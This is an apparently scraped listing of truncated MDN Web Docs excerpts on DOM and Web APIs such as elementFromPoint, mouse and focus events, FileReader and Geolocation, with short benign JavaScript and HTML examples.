serts line breaks wherever you click. The code for it is below the demo. Demo HTML Content <p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. ...
DocumentOrShadowRoot.elementFromPoint() - Web APIs
horizontal coordinate of a point, relative to the left edge of the current viewport. y The vertical coordinate of a point, relative to the top edge of the current viewport. Return value The topmost Element object located at the specified coordinates. Example This example creates two buttons which let you set the current color of the paragraph element located under the coordinates (2, 2).
JavaScript function changeColor(newColor) { elem = document.elementFromPoint(2, 2); elem.style.color = newColor; } The changeColor() method simply obtains the element located at the specified point, then sets that element's current foreground color property to the color specified by the newColor parameter. HTML <p id="para1">Some text here</p> <button onclick="changeColor('blue');">Blue</button> <bu...
DocumentOrShadowRoot.elementsFromPoint() - Web APIs
(relative to the viewport). It operates in a similar way to the elementFromPoint() method. Syntax const elements = document.elementsFromPoint(x, y); Parameters x The horizontal coordinate of a point. y The vertical coordinate of a point. Return value An array of element objects. ...
DocumentOrShadowRoot.nodeFromPoint() - Web APIs
is only implemented in Firefox, and only available to chrome code. Syntax var node = document.nodeFromPoint(x, y); Parameters x A double representing the horizontal coordinate of a point. y A double representing the vertical coordinate of a point. Returns A Node object. Examples HTML Content <div> <p>Some text</p> </div> <p>Top node at point 30, 20:</p> <div id="output"></div>
JavaScript Content var output = document.getElementById("output"); if (document.nodeFromPoint) { var node = document.nodeFromPoint(30, 20); output.textContent += node.localName; } else { output.innerHTML = "<span style=\"color: red;\">" + "Browser does not support <code>document.nodeFromPoint()</code>" + "</span>"; } Specifications Not part of any specification at present. ...
DocumentOrShadowRoot.nodesFromPoint() - Web APIs
e viewport). Currently this method is only implemented in Firefox, and only available to chrome code. Syntax var nodes = document.nodesFromPoint(x, y); Parameters x The horizontal coordinate of a point. y The vertical coordinate of a point. Returns An array of Node objects. ...
Events and the DOM - Web APIs
nt and have a look at the event object // always print arguments in case of overlooking any other arguments console.log('greet:', arguments) alert('hello world') } This is the method you should use in modern web pages. Note: Internet Explorer 6-8 didn't support this method, offering a similar EventTarget.attachEvent API instead. For cross-browser compatibility, use one of the many
JavaScript libraries available. More details can be found on the EventTarget.addEventListener reference page. HTML attribute <button onclick="alert('Hello world!')"> The
JavaScript code in the attribute is passed the Event object via the event parameter. The return value is treated in a special way, described in the HTML specification. Warning: This method should be avoided! It inflates the markup, ...
Locating DOM elements using selectors - Web APIs
The NodeSelector interface This specification adds two new methods to any objects implementing the Document, DocumentFragment, or Element interfaces: querySelector() Returns the first matching Element node within the node's subtree. ...
Example - Web APIs
<html> <head> <title>My Document</title> <script type="text/
javascript"> function change() { // document.getElementsByTagName("H1") returns a NodeList of the h1 // elements in the document, and the first is number 0: var header = document.getElementsByTagName("H1").item(0); // the firstChild of the header is a Text node: header.firstChild.data = "A dynamic document"; // now the header is "A dynamic document". var para = document.getElementsByTagName("P").item(0); para.firstChild.data = "This is the first paragraph."; // create a new Text node for the second paragraph var newText = document.createTextNode("This is the second paragraph."); // create a new Element to be the second paragraph var newElement = document.createElement("...
EffectTiming.fill - Web APIs
x; height: 200px; left: 50px; top: 50px; border: 1px solid #7788FF; margin: 0; position: relative; background-color: #2233FF; display: flex; justify-content: center; } All this does is specify the size, border, and color information, as well as indicate that the box should be centered both vertically and horizontally inside its container. Note that there's no rotation applied.
JavaScript content Now let's check out the
JavaScript. First we'll define the two objects that describe the keyframes and the timing configuration to use, then we'll actually see the code that triggers and runs the animation when the "animateButton" button is clicked. var boxRotationKeyframes = [ { transform: "rotate(-90deg)" }, { transform: "rotate(90deg)" } ]; The boxRotationKeyframes object is an...
Element.attachShadow() - Web APIs
h3> <h4> <h5> <h6> <header> <main> <nav> <p> <section> <span> Syntax var shadowroot = element.attachShadow(shadowRootInit); Parameters shadowRootInit A ShadowRootInit dictionary, which can contain the following fields: mode A string specifying the encapsulation mode for the shadow DOM tree. This can be one of: open: Elements of the shadow root are accessible from
JavaScript outside the root, for example using Element.shadowRoot: element.shadowRoot; // Returns a ShadowRoot obj closed: Denies access to the node(s) of a closed shadow root from
JavaScript outside it: element.shadowRoot; // Returns null delegatesFocus A boolean that, when set to true, specifies behavior that mitigates custom element issues around focusability. Wh...
Element.attributes - Web APIs
mentsByTagName("p")[0]; var atts = para.attributes; Enumerating elements attributes Numerical indexing is useful for going through all of an element's attributes. The following example runs through the attribute nodes for the element in the document with id "paragraph", and prints each attribute's value. ...
Element: auxclick event - Web APIs
fault behavior of the contextmenu event. Examples In this example we define functions for two event handlers -- onclick and onauxclick. The former changes the color of the button background, while the latter changes the button foreground (text) color. You also can see the two functions in action by trying the demo out with a multi-button mouse (see it live on GitHub; also see the source code). ...
Element: click event - Web APIs
en't affected by this bug): <a> (but it must have an href) <area> (but it must have an href) <button> <img> <input> <label> (but it must be associated with a form control) <textarea> This list is incomplete; you can help MDN by doing further testing/research and expanding it. Examples This example displays the number of consecutive clicks on a <button>. HTML <button>Click</button>
JavaScript const button = document.querySelector('button'); button.addEventListener('click', event => { button.innerHTML = `Click count: ${event.detail}`; }); Result Try making rapid, repeated clicks on the button to increase the click count. If you take a break between clicks, the count will reset. Specifications Specification Status UI Events Working Draft Docume...
Element.closest() - Web APIs
over, .toto + q Return value closestElement is the Element which is the closest ancestor of the selected element. It may be null. Exceptions SyntaxError is thrown if the selectors is not a valid selector list string. ...
Element.computedStyleMap() - Web APIs
putedStyleMap() Parameters None. Return value A StylePropertyMapReadOnly interface. Examples We start with some simple HTML: a paragraph with a link, and a definition list to which we will add all the CSS Property / Value pairs. <p> <a href="https://example.com">Link</a> </p> <dl id="regurgitation"></dl> We add a little bit of CSS a { --colour: red; color: var(--colour); } We add
JavaScript to grab our link and return back a definition list of all the CSS property values using computedStyleMap(). // get the element const myElement = document.querySelector('a'); // get the <dl> we'll be populating const stylesList = document.querySelector('#regurgitation'); // Retrieve all computed styles with computedStyleMap() const allComputedStyles = myElement.computedStyleMap(); // iterate t...
Element: contextmenu event - Web APIs
menu event is canceled using preventDefault() when the contextmenu event is fired at the first paragraph. As a result, the first paragraph will do nothing when right-clicked, while the second paragraph will show the standard context menu offered by your browser. HTML <p id="noContextMenu">The context menu has been disabled on this paragraph.</p> <p>But it has not been disabled on this one.</p>
JavaScript noContext = document.getElementById('noContextMenu'); noContext.addEventListener('contextmenu', e => { e.preventDefault(); }); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'contextmenu' in that specification. Living Standard ...
Element: dblclick event - Web APIs
pidly clicked twice on a single element within a very short span of time. dblclick fires after two click events (and by extension, after two pairs of mousedown and mouseup events). Bubbles Yes Cancelable Yes Interface MouseEvent Event handler property ondblclick Examples This example toggles the size of a card when you double click on it. ...
Element: focusin event - Web APIs
le focus does not. The opposite of focusin is focusout. Bubbles Yes Cancelable No Interface FocusEvent Event handler property onfocusin Sync / Async Sync Composed Yes Examples Live example HTML <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form>
JavaScript const form = document.getElementById('form'); form.addEventListener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addEventListener('focusout', (event) => { event.target.style.background = ''; }); Result Specifications Specification Status Comment UI Events Working Draft Added info that this event is composed. Docume...
Element: focusout event - Web APIs
le blur does not. The opposite of focusout is focusin. Bubbles Yes Cancelable No Interface FocusEvent Event handler property onfocusout Sync / Async Sync Composed Yes Examples Live example HTML <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form>
JavaScript const form = document.getElementById('form'); form.addEventListener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addEventListener('focusout', (event) => { event.target.style.background = ''; }); Result Specifications Specification Status Comment UI Events Working Draft Added info that this event is composed. Docume...
Element: fullscreenchange event - Web APIs
is that, if an element is currently in full-screen mode, the fullscreenchange handler logs the id of the full-screen element to the console. If document.fullscreenElement is null, the code logs a message that the change is to leave full-screen mode. HTML <h1>fullscreenchange event example</h1> <div id="fullscreen-div"> <button id="toggle-fullscreen">Toggle Fullscreen Mode</button> </div>
JavaScript document.getElementById('fullscreen-div').addEventListener('fullscreenchange', (event) => { // document.fullscreenElement will point to the element that // is in fullscreen mode if there is one. If not, the value // of the property is null. if (document.fullscreenElement) { console.log(`Element: ${document.fullscreenElement.id} entered fullscreen mode.`); } else { console.log('...
Element.localName - Web APIs
fications this API was defined within the Node interface. Syntax name = element.localName Return value A DOMString representing the local part of the element's qualified name. ...
Element.matches() - Web APIs
Syntax var result = element.matches(selectorString); Parameters selectorString is a string representing the selector to test. Return value result is a Boolean. Exceptions SYNTAX_ERR The specified selector string is invalid. Example <ul id="birds"> <li>Orange-winged parrot</li> <li class="endangered">Philippine eagle</li> <li>Great white pelican</li> </ul> <script type="text/
javascript"> var birds = document.getElementsByTagName('li'); for (var i = 0; i < birds.length; i++) { if (birds[i].matches('.endangered')) { console.log('The ' + birds[i].textContent + ' is endangered!'); } } </script> This will log "The Philippine eagle is endangered!" to the console, since the element has indeed a class attribute with value endangered. Polyfill For browsers that ...
Element: mousedown event - Web APIs
n. When the drawLine() function returns, we adjust the coordinates and then save them in x and y. The mouseup event draws the final line segment, sets x and y to 0, and stops further drawing by setting isDrawing to false. HTML <h1>Drawing with mouse events</h1> <canvas id="myPics" width="560" height="360"></canvas> CSS canvas { border: 1px solid black; width: 560px; height: 360px; }
JavaScript // When true, moving the mouse draws on the canvas let isDrawing = false; let x = 0; let y = 0; const myPics = document.getElementById('myPics'); const context = myPics.getContext('2d'); // event.offsetX, event.offsetY gives the (x,y) offset from the edge of the canvas. // Add the event listeners for mousedown, mousemove, and mouseup myPics.addEventListener('mousedown', e => { x = e.offsetX...
Element: mouseenter event - Web APIs
event to change the border on the div when the mouse enters the space alloted to it. It then adds an item to the list with the number of the mouseenter or mouseleave event. HTML <div id='mouseTarget'> <ul id="unorderedList"> <li>No events yet!</li> </ul> </div> CSS Styling the div to make it more visible. ...
Element: mouseleave event - Web APIs
t to change the border on the <div> when the mouse enters the space alloted to it. It then adds an item to the list with the number of the mouseenter or mouseleave event. HTML <div id='mouseTarget'> <ul id="unorderedList"> <li>No events yet!</li> </ul> </div> CSS Styling the <div> to make it more visible. ...
Element: mousemove event - Web APIs
n. When the drawLine() function returns, we adjust the coordinates and then save them in x and y. The mouseup event draws the final line segment, sets x and y to 0, and stops further drawing by setting isDrawing to false. HTML <h1>Drawing with mouse events</h1> <canvas id="myPics" width="560" height="360"></canvas> CSS canvas { border: 1px solid black; width: 560px; height: 360px; }
JavaScript // When true, moving the mouse draws on the canvas let isDrawing = false; let x = 0; let y = 0; const myPics = document.getElementById('myPics'); const context = myPics.getContext('2d'); // event.offsetX, event.offsetY gives the (x,y) offset from the edge of the canvas. // Add the event listeners for mousedown, mousemove, and mouseup myPics.addEventListener('mousedown', e => { x = e.offsetX...
Element: mouseout event - Web APIs
is added to the list to color the targeted element orange when the mouse exits it. When you try this out, you'll find that mouseout is delivered to the individual list items, while mouseleave goes to the overall list, courtesy of the hierarchy of the items and the fact that list items obscure the underlying <ul>. ...
Element: mouseover event - Web APIs
d) is used to move the cursor onto the element or one of its child elements. Bubbles Yes Cancelable Yes Interface MouseEvent Event handler property onmouseover Examples The following example illustrates the difference between mouseover and mouseenter events. ...
Element: mouseup event - Web APIs
n. When the drawLine() function returns, we adjust the coordinates and then save them in x and y. The mouseup event draws the final line segment, sets x and y to 0, and stops further drawing by setting isDrawing to false. HTML <h1>Drawing with mouse events</h1> <canvas id="myPics" width="560" height="360"></canvas> CSS canvas { border: 1px solid black; width: 560px; height: 360px; }
JavaScript // When true, moving the mouse draws on the canvas let isDrawing = false; let x = 0; let y = 0; const myPics = document.getElementById('myPics'); const context = myPics.getContext('2d'); // event.offsetX, event.offsetY gives the (x,y) offset from the edge of the canvas. // Add the event listeners for mousedown, mousemove, and mouseup myPics.addEventListener('mousedown', e => { x = e.offsetX...
Element.name - Web APIs
th the form elements collection. When used with a form or elements collection, it may return a single element or a collection. ...
Element.querySelector() - Web APIs
y counts This example demonstrates that the hierarchy of the entire document is considered when applying selectors, so that levels outside the specified baseElement are still considered when locating matches. HTML <div> <h5>Original content</h5> <p> inside paragraph <span>inside span</span> inside paragraph </p> </div> <div> <h5>Output</h5> <div id="output"></div> </div>
JavaScript var baseElement = document.querySelector("p"); document.getElementById("output").innerHTML = (baseElement.querySelector("div span").innerHTML); Result The result looks like this: Notice how the "div span" selector still successfully matches the <span> element, even though the baseElement's child nodes do not include the div element (it is still part of the specified selector). More examp...
Element.releasePointerCapture() - Web APIs
not match any of the active pointers. Example This example sets pointer capture on a <div> when you press down on it. This lets you slide the element horizontally, even when you pointer moves outside of its boundaries. ...
Element.scrollLeft - Web APIs
n the maximum that the content can be scrolled, scrollLeft is set to the maximum. Example HTML <div id="container"> <div id="content">Click the button to slide right!</div> </div> <button id="slide" type="button">Slide right</button> CSS #container { width: 100px; height: 100px; border: 1px solid #ccc; overflow-x: scroll; } #content { width: 250px; background-color: #ccc; }
JavaScript const button = document.getElementById('slide'); button.onclick = function () { document.getElementById('container').scrollLeft += 20; }; Result Specifications Specification Status Comment CSS Object Model (CSSOM) View ModuleThe definition of 'scrollLeft' in that specification. Working Draft ...
Element.setAttribute() - Web APIs
the attribute's value to the string "null". If you wish to remove an attribute, call removeAttribute(). Return value undefined. Exceptions InvalidCharacterError The specified attribute name contains one or more characters which are not valid in attribute names. Example In the following example, setAttribute() is used to set attributes on a <button>. HTML <button>Hello World</button>
JavaScript var b = document.querySelector("button"); b.setAttribute("name", "helloButton"); b.setAttribute("disabled", ""); This demonstrates two things: The first call to setAttribute() above shows changing the name attribute's value to "helloButton". You can see this using your browser's page inspector (Chrome, Edge, Firefox, Safari). To set the value of a Boolean attribute, such as disabled, you ...
Element.setAttributeNode() - Web APIs
hod adds a new Attr node to the specified element. Syntax var replacedAttr = element.setAttributeNode(attribute); attribute is the Attr node to set on the element. replacedAttr is the replaced attribute node, if any, returned by this function. Example This example copies the align attribute from one element to another. HTML <div id="one" align="left">one</div> <div id="two">two</div>
JavaScript let d1 = document.getElementById('one'); let d2 = document.getElementById('two'); let a = d1.getAttributeNode('align'); d2.setAttributeNode(a.cloneNode(true)); // Returns: 'left' alert(d2.attributes[1].value); Notes If the attribute named already exists on the element, that attribute is replaced with the new one and the replaced one is returned. This method is seldom used, with Element.set...
Element.setCapture() - Web APIs
dants of this element. Example In this example, the current mouse coordinates are drawn while you mouse around after clicking and holding down on an element. ...
Element.setPointerCapture() - Web APIs
not match any of the active pointers. Example This example sets pointer capture on a <div> when you press down on it. This lets you slide the element horizontally, even when you pointer moves outside of its boundaries. ...
Element.slot - Web APIs
is attached and then populated using the contents of a template that contains a slot named my-text. When <my-paragraph> is used in the document, the slot is populated by a slotable element by including it inside the element with a slot attribute with the value my-text. Here is one such example: <my-paragraph> <span slot="my-text">Let's have some different text!</span> </my-paragraph> In our
JavaScript file we get a reference to the <span> shown above, then log a reference to the name of the corresponding <slot> element. let slottedSpan = document.querySelector('my-paragraph span') console.log(slottedSpan.slot); // logs 'my-text' Specifications Specification Status Comment DOMThe definition of 'slot' in that specification. Living Standard Browser Compat...
Element.tagName - Web APIs
of elements in an XML DOM tree are returned in the same case in which they're written in the original XML file. If an XML document includes a tag "<SomeTag>", then the tagName property's value is "SomeTag". For Element objects, the value of tagName is the same as the value of the nodeName property the element object inherits from Node. Example HTML <span id="born">When I was born...</span>
JavaScript var span = document.getElementById("born"); console.log(span.tagName); In XHTML (or any other XML format), the original case will be maintained, so "span" would be output in case the original tag name was created lowercase. In HTML, "SPAN" would be output instead regardless of the case used while creating the original document. Specifications Specification Status Comment ...
Element.toggleAttribute() - Web APIs
rn value true if attribute name is eventually present, and false otherwise. Exceptions InvalidCharacterError The specified attribute name contains one or more characters which are not valid in attribute names. Example In the following example, toggleAttribute() is used to toggle the readonly attribute of a <input>. ...
ErrorEvent - Web APIs
blem. ErrorEvent.filename Read only Is a DOMString containing the name of the script file in which the error occurred. ErrorEvent.lineno Read only Is an integer containing the line number of the script file on which the error occurred. ErrorEvent.colno Read only Is an integer containing the column number of the script file on which the error occurred. ErrorEvent.error Read only Is a
JavaScript Object that is concerned by the event. Constructor ErrorEvent() Creates an ErrorEvent event with the given parameters. Methods Inherits methods from its parent Event. Specifications Specification Status Comment HTML Living StandardThe definition of 'ErrorEvent' in that specification. Living Standard Added the error property and the 5th parameter to the...
Event.cancelable - Web APIs
ents may want to check cancelable before invoking their preventDefault() methods. Most browser-native events that can be canceled are the ones that result from the user interacting with the page. Canceling the click, scroll, or beforeunload events would prevent the user from clicking on something, scrolling the page, or navigating away from the page, respectively. Custom events created by other
JavaScript code control if they can be canceled when they are created. Syntax bool = event.cancelable; Value The result is a Boolean, which is true if the event can be canceled. Example For example, browser vendors are proposing that the wheel event can only be canceled the first time the listener is called -- any following wheel events cannot be canceled. function preventScrollWheel(event) { if (...
Event.eventPhase - Web APIs
<input type="checkbox" id="chCapture" /> <label for="chCapture">Use Capturing</label> <div id="d1">d1 <div id="d2">d2 <div id="d3">d3 <div id="d4">d4</div> </div> </div> </div> <div id="divInfo"></div> CSS div { margin: 20px; padding: 4px; border: thin black solid; } #divInfo { margin: 18px; padding: 8px; background-color:white; font-size:80%; }
JavaScript let clear = false, divInfo = null, divs = null, useCapture = false; window.onload = function () { divInfo = document.getElementById('divInfo') divs = document.getElementsByTagName('div') chCapture = document.getElementById('chCapture') chCapture.onclick = function () { RemoveListeners() AddListeners() } Clear() AddListeners() } function RemoveListeners() { f...
Event.timeStamp - Web APIs
urrent document's lifetime till the event was created. In newer implementations, the value is a DOMHighResTimeStamp accurate to 5 microseconds (0.005 ms). In older implementations, the value is a DOMTimeStamp, accurate to a millisecond. Example HTML <p> Focus this iframe and press any key to get the current timestamp for the keypress event. </p> <p>timeStamp: <span id="time">-</span></p>
JavaScript function getTime(event) { var time = document.getElementById("time"); time.firstChild.nodeValue = event.timeStamp; } document.body.addEventListener("keypress", getTime); Result Reduced time precision To offer protection against timing attacks and fingerprinting, the precision of Event.timeStamp might get rounded depending on browser settings. In Firefox, the privacy.reduceTimerPrecisio...
Event.type - Web APIs
efer to the specific event, such as click, load, or error. For a list of available event types, see the event reference. Syntax let eventType = event.type; Value A DOMString containing the type of Event. Example This example logs the event type whenever you press a keyboard key or click a mouse button. ...
EventListener - Web APIs
oth a function and an object with a handleEvent() property function. This is shown in the example below. Properties This interface neither implements, nor inherits, any properties. Methods This interface doesn't inherit any methods. EventListener.handleEvent() A function that is called whenever an event of the specified type occurs. Example HTML <button id="btn">Click here!</button>
JavaScript const buttonElement = document.getElementById('btn'); // Add a handler for the 'click' event by providing a callback function. // Whenever the element is clicked, a pop-up with "Element clicked!" will // appear. buttonElement.addEventListener('click', function (event) { alert('Element clicked through function!'); }); // For compatibility, a non-function object with a `handleEvent` property i...
Fetch basic concepts - Web APIs
find a Fetch concept that you feel needs explaining better, let someone know on the MDN discussion forum, or MDN Web Docs room on Matrix. In a nutshell At the heart of Fetch are the Interface abstractions of HTTP Requests, Responses, Headers, and Body payloads, along with a global fetch method for initiating asynchronous resource requests. Because the main components of HTTP are abstracted as
JavaScript objects, it is easy for other APIs to make use of such functionality. Service Workers is an example of an API that makes heavy use of Fetch. Fetch takes the asynchronous nature of such requests one step further. The API is completely Promise-based. Guard Guard is a feature of Headers objects, with possible values of immutable, request, request-no-cors, response, or none, depending on where th...
File.webkitRelativePath - Web APIs
he ancestor directory the user selected. Example In this example, a directory picker is presented which lets the user choose one or more directories. When the change event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. ...
File - Web APIs
File objects are generally retrieved from a FileList object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's DataTransfer object, or from the mozGetAsFile() API on an HTMLCanvasElement. A File object is a specific kind of a Blob, and can be used in any context that a Blob can. In particular, FileReader, URL.createObjectURL(), createImageBitmap(), and XMLHttpRequest.send() accept both Blobs and Files. See Using files from web applications for more information and examples. ...
FileReader.result - Web APIs
o initiate the read operation. Syntax var file = instanceOfFileReader.result Value An appropiate string or ArrayBuffer based on which of the reading methods was used to initiate the read operation. The value is null if the reading is not yet complete or was unsuccessful. The result types are described below. Method Description readAsArrayBuffer() The result is a
JavaScript ArrayBuffer containing binary data. readAsBinaryString() The result contains the raw binary data from the file in a string. readAsDataURL() The result is a string with a data: URL representing the file's data. readAsText() The result is text in a string. Example This example presents a function, read(), which reads a file from a file input. It works by ...
FileReader - Web APIs
ect returned as a result of a user selecting files using the <input> element, from a drag and drop operation's DataTransfer object, or from the mozGetAsFile() API on an HTMLCanvasElement. Important note: FileReader is used to read file content from the user's (remote) system in secure ways only. It cannot be used to simply read a file by pathname from a file system. To read files by pathname in
JavaScript, standard Ajax solutions should be used to do server-side file reading, with CORS permission if reading cross-domain. Note: This feature is available in Web Workers. Constructor FileReader() Returns a newly constructed FileReader. See Using files from web applications for details and examples. Properties FileReader.error Read only A DOMException representing the error that occurred...
FileRequest.onprogress - Web APIs
ry user. There may also be large incompatibilities between implementations and the behavior may change in the future. Summary This property specifies a callback function to be run repeatedly while the operation represented by a FileRequest object is in progress. Syntax instanceOfFileRequest.onprogress = function; Where instanceOfFileRequest is a FileRequest object and function is the
JavaScript function to execute. Each time the function callback is called, it gets an object as its first parameter. Those objects contain two properties: loaded A number representing the current amount of bytes processed by the operation. total A number representing the total amount of bytes that will be processed by the operation. Example // Assuming 'request' which is a FileRequest object requ...
FileSystemDirectoryEntry.getDirectory() - Web APIs
is takes the resulting directory entry object and calls getFile() to get a FileSystemFileEntry object representing the dictionary file; the success callback for this, in turn, creates a new FileReader and uses it to load the contents of the file. When that is loaded successfully (as indicated by the loadend event being fired), the loaded text is passed into JSON.parse() to be reconstituted into a
JavaScript object. Specifications Specification Status Comment File and Directory Entries APIThe definition of 'getDirectory()' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-com...
FileSystemDirectoryEntry.getFile() - Web APIs
is takes the resulting directory entry object and calls getFile() to get a FileSystemFileEntry object representing the dictionary file; the success callback for this, in turn, creates a new FileReader and uses it to load the contents of the file. When that is loaded successfully (as indicated by the loadend event being fired), the loaded text is passed into JSON.parse() to be reconstituted into a
JavaScript object. Specifications Specification Status Comment File and Directory Entries APIThe definition of 'getFile()' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-d...
FileSystemDirectoryReader.readEntries() - Web APIs
y the example are shown here. #dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display: table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "Arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "Arial", sans-serif; }
JavaScript content First, let's look at the recursive scanFiles() function. This function takes as input a FileSystemEntry representing an entry in the file system to be scanned and processed (the item parameter), and an element into which to insert the list of contents (the container parameter). Note that to read all files in a directory, readEntries needs to be called repeatedly until it returns an emp...
Using the Frame Timing API - Web APIs
rate and the minimum and maximum rates (for a specific recording session). This data, along with the waterfall data, gives an indication of where a site might be having frame related performance problems (for example, by correlating the recording's minimum rates with their respective waterfall events). The performance tool's flame chart and call tree tabs provide data to help analyze the site's
JavaScript usage. The call tree shows where the application is spending most of its time, whereas the flame chart shows the state of the
JavaScript stack for the code at every millisecond during the performance profile. This provides a way to know exactly which function was executing at any point during the recording, how long it ran, and where it was called from. Chrome performance tool The Chrome (and C...
Fullscreen API - Web APIs
ll as when errors occur during the process of changing between full-screen and windowed modes. Event handlers for these events are available on the Document and Element interfaces. Note: These event handler properties are not available as HTML content attributes. In other words, you cannot specify event handlers for fullscreenchange and fullscreenerror in the HTML content. They must be added by
JavaScript code. Event handlers on documents Document.onfullscreenchange An event handler for the fullscreenchange event that's sent to a Document when that document is placed into full-screen mode, or when that document exits full-screen mode. This handler is called only when the entire document is presented in full-screen mode. Document.onfullscreenerror An event handler for the fullscreenerror ev...
Using the Gamepad API - Web APIs
The Gamepad API is a way for developers and designers to access and use gamepads and other game controllers. The Gamepad API introduces new events on the Window object for reading gamepad and controller (hereby referred to as gamepad) state. ...
GeolocationCoordinates.longitude - Web APIs
isely the same as the Greenwhich meridian that most people think of. It is, instead, the IERS Reference Meridian, which is located 5.3 arcseconds (102 meters / 335 feet) east of the Greenwich meridian. This is the same standard used by the Global Positioning System (GPS). Examples In this simple example, we fetch the user's location and display the resulting coordinates once they're returned.
JavaScript The
JavaScript code below creates an event listener so that when the user clicks on a button, the location information is retrieved and displayed. let button = document.getElementById("get-location"); let latText = document.getElementById("latitude"); let longText = document.getElementById("longitude"); button.addEventListener("click", function() { navigator.geolocation.getCurrentPosition(fu...
Using the Geolocation API - Web APIs
the Geolocation API is used to retrieve the user's latitude and longitude. If sucessful, the available hyperlink is populated with an openstreetmap.org URL that will show their location. ...
Geolocation API - Web APIs
the Geolocation API is used to retrieve the user's latitude and longitude. If sucessful, the available hyperlink is populated with an openstreetmap.org URL that will show their location. ...
GlobalEventHandlers.onanimationcancel - Web APIs
he content box to the bottom-right corner. @keyframes slideBox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } Since the animation is described as taking place an infinite number of times, alternating direction each time, the box will glide back and forth between the two corners until stopped or the page is closed.
JavaScript Before we get to the animation code, we define a function which logs information to a box on the user's screen. We'll use this to show information about the events we receive. Note the use of AnimationEvent.animationName and AnimationEvent.elapsedTime to get information about the event which occurred. function log(msg, event) { let logBox = document.getElementById("log"); logBox.innerHTML ...
GlobalEventHandlers.onanimationend - Web APIs
causes the box to migrate from the top-left corner of the container to the bottom-right corner. .slideAnimation { animation: 5s ease-in-out 0s 1 slideBox; } @keyframes slideBox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } Since the CSS describes the animation but doesn't connect it to the box, we'll need some
JavaScript code to do that. We'll get to that shortly.
JavaScript content Before we get to the animation code, we define a function which logs information to a box on the user's screen. We'll use this to show information about the events we receive. Note the use of AnimationEvent.animationName and AnimationEvent.elapsedTime to get information about the event which occurred. function log(msg, event) { ...
GlobalEventHandlers.onanimationiteration - Web APIs
animation: 2s ease-in-out 0s infinite alternate both paused slideBox; } The animation's keyframes are defined next; they describe an animation which causes the box to migrate from the top-left corner of the container to the bottom-right corner. @keyframes slideBox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } }
JavaScript Some
JavaScript code will need to be written to handle the click on the button to start the next iteration. Let's have a look. var box = document.getElementById("box"); var iterationCounter = 0; box.onanimationiteration = function(event) { box.style.animationPlayState = "paused"; document.getElementById("play").innerHTML = "Start Iteration #" + (iterationCounter+1); }; This sets up two g...
GlobalEventHandlers.onanimationstart - Web APIs
causes the box to migrate from the top-left corner of the container to the bottom-right corner. .slideAnimation { animation: 5s ease-in-out 0s 1 slideBox; } @keyframes slideBox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } Since the CSS describes the animation but doesn't connect it to the box, we'll need some
JavaScript code to do that. We'll get to that shortly.
JavaScript content Before we get to the animation code, we define a function which logs information to a box on the user's screen. We'll use this to show information about the events we receive. Note the use of AnimationEvent.animationName and AnimationEvent.elapsedTime to get information about the event which occurred. function log(msg, event) { ...
GlobalEventHandlers.onblur - Web APIs
r event is raised when an element loses focus. Note: The opposite of onblur is onfocus. Syntax target.onblur = functionRef; Value functionRef is a function name or a function expression. The function receives a FocusEvent object as its sole argument. Example This example uses onblur and onfocus to change the text within an <input> element. HTML <input type="text" value="CLICK HERE">
JavaScript let input = document.querySelector('input'); input.onblur = inputBlur; input.onfocus = inputFocus; function inputBlur() { input.value = 'Focus has been lost'; } function inputFocus() { input.value = 'Focus is here'; } Result Try clicking in and out of the form field, and watch its contents change accordingly. Specifications Specification Status Comment HTML L...
GlobalEventHandlers.oncanplay - Web APIs
tHandlers mixin is the EventHandler for processing canplay events. The canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content. Syntax element.oncanplay = handlerFunction; var handlerFunction = element.oncanplay; handlerFunction is either null or a
JavaScript function specifying the handler for the event. Specification Specification Status Comment HTML Living StandardThe definition of 'oncanplay' in that specification. Living Standard ...
GlobalEventHandlers.oncanplaythrough - Web APIs
EventHandler for processing canplaythrough events. The canplaythrough event is fired when the user agent can play the media and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of content. Syntax element.oncanplaythrough = handlerFunction; var handlerFunction = element.oncanplaythrough; handlerFunction is either null or a
JavaScript function specifying the handler for the event. Specification Specification Status Comment HTML Living StandardThe definition of 'oncanplaythrough' in that specification. Living Standard ...
GlobalEventHandlers.onchange - Web APIs
nctionRef; functionRef is a function name or a function expression. The function receives an Event object as its sole argument. Example This example logs the number of characters in an <input> element, every time you modify its contents and then change focus away from it. HTML <input type="text" placeholder="Type something here, then click outside of the field." size="50"> <p id="log"></p>
JavaScript let input = document.querySelector('input'); let log = document.getElementById('log'); input.onchange = handleChange; function handleChange(e) { log.textContent = `The field's value is ${e.target.value.length} character(s) long.`; } Result Specification Specification Status Comment HTML Living StandardThe definition of 'onchange' in that specification. L...
GlobalEventHandlers.onclick - Web APIs
gument. Within the function, this will be the element upon which the event was triggered. Only one onclick handler can be assigned to an object at a time. You may prefer to use the EventTarget.addEventListener() method instead, since it's more flexible. Examples Detecting clicks This example simply changes the color of an element when it's clicked upon. HTML <div id="demo">Click here</div>
